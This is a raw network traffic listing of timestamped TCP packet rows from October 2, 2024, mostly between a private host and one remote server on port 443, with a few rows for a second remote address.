Oct 2, 2024 06:10:13.273257971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.273263931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.273438931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.273988962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274010897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274074078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274079084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274198055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274277925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274293900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274333000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274338961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274358988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274373055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274584055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274600983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274652004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.274657011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.274823904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.287333965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.287348986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.287416935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.287425041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.287547112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.362777948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.362806082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.362868071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.362907887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.362950087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.362974882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.363006115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.363013029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.363023996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.363054991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.363311052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.363326073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.363380909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.363392115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.363436937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364178896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364195108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364247084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364253044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364396095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364643097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364660978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364703894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364710093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364756107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364886999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364902973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.364953995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.364959955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.365015984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.365502119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.365518093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.365569115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.365578890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.365592957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.365616083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.378034115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.378051996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.378098011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.378134012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.378151894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.378259897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.473575115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473598957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473660946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.473689079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473704100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473730087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473752975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.473758936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.473777056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.473803997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474060059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474075079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474124908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474129915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474179983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474179983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474586964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474606991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474643946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474651098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.474663019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.474688053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.475907087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.475933075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.475980043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.475986004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.476026058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.476166010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.476181984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.476223946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.476231098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.476314068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.477045059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.477060080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.477104902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.477108955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.477138996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.477158070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.488059998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.488078117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.488121986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.488132000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.488147974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.488172054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564290047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564315081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564383030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564412117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564452887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564472914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564480066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564483881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564513922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564543009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564764023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564780951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564837933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.564843893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.564937115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.565347910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.565363884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.565407038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.565412045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.565442085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.565455914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.566788912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.566802025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.566876888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.566900015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.567112923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.567795992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.567811966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.567886114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.567965031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.568002939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.568142891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.568154097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.568167925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.568206072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.568212986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.568510056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.578836918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.578859091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.578912020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.578943014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.578958035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.578973055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655145884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655178070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655220985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655246019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655265093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655287027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655327082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655347109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655416012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655421019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655517101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655639887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655668974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655706882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655713081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.655739069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.655756950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.656028032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.656060934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.656086922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.656090975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.656111002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.656131029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657282114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657301903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657346964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657351971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657382965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657392979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657540083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657566071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657593966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657598972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.657625914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.657653093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.658562899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.658584118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.658622026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.658627987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.658649921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.658673048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.669558048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.669589996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.669636011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.669642925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.669671059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.669681072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746221066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746242046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746288061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746306896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746325970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746352911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746366978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746376991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746433973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746448040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746495962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746504068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746846914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746870995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746918917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.746925116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.746952057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.747941017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.747958899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.748004913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.748019934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.748248100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.748265982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.748296022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.748300076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.748330116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.749130011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.749145031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.749188900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.749195099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.755450964 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:13.755510092 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:13.755609989 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:13.756834984 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:13.756854057 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:13.760571957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.760600090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.760637045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.760648012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.760675907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.804873943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.836608887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836652994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836699009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.836715937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836730003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836743116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.836755037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836759090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.836767912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.836796045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.836838007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.837039948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837055922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837101936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.837106943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837132931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.837151051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.837466002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837482929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837542057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.837547064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.837605953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.838599920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838617086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838675022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.838680983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838736057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.838901043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838916063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838953018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.838957071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.838979959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.838999987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.839843035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.839859962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.839914083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.839917898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.839962006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.853720903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.853738070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.853785992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.853810072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.853828907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.853854895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927198887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927227020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927273989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927301884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927318096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927421093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927460909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927479982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927515030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927519083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927544117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927561045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927707911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927723885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927778006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.927783966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.927892923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.928056002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.928072929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.928119898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.928124905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.928136110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.928261042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.929291964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929313898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929377079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.929382086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929490089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.929666996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929682970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929733038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.929737091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.929761887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.929783106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.930464029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.930479050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.930526972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.930532932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.930656910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.942425013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.942455053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.942495108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.942503929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.942531109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.942547083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.017879009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.017911911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.017968893 CEST	49744	443	192.168.2.4	167.114.14.168
